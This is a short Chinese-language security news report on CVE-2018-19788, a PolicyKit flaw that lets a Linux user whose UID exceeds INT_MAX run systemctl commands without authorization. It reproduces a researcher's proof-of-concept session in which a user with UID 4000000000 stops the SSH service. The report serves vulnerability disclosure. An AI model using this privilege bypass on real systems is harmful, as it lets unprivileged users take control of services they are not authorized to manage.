CVE-2018-19788:UID大於INT_MAX的Linux用戶任意代碼執行漏洞
Linux操作系統中UID值大於2147483647的低許可權賬戶可以未授權執行任意systemctl命令。該漏洞存在於PolicyKit(polkit)中,PolicyKit是類Unix操作系統中定義策略、處理系統範圍內許可權和提供給非特權進程與特權進程通信方式的應用級工具集,比如sudo。
也就是說,如果用戶在受影響的Linux操作系統中創建了UID大於INT_MAX值的用戶賬戶,攻擊者就可以利用PolicyKit組件來執行任意的systemctl命令。
$ systemctl --version
systemd 239
+PAM +AUDIT -SELINUX +IMA +APPARMOR +SMACK -SYSVINIT +UTMP -LIBCRYPTSETUP +GCRYPT -GNUTLS +ACL +XZ +LZ4 +SECCOMP +BLKID -ELFUTILS +KMOD +IDN2 -IDN +PCRE2 default-hierarchy=hybrid
$ id
uid=4000000000(someuser) gid=100(users) groups=100(users)
$ systemctl stop sshd.service
(pkttyagent:3342): GLib-GObject-WARNING **: 13:28:53.802: value "-294967296" of type "gint" is invalid or out of range for property "uid" of type "gint"
**
ERROR:pkttyagent.c:156:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
$ systemctl is-active sshd.service
inactive
安全研究人員Rich Mirch(Twitter @0xm1rch)發布了該漏洞的PoC,用UID 4000000000證明了該漏洞。
※如何從iCloud中提取蘋果的「Apple Health」數據
※Cisco Webex Meetings桌面應用特權提升漏洞分析
TAG:嘶吼RoarTalk |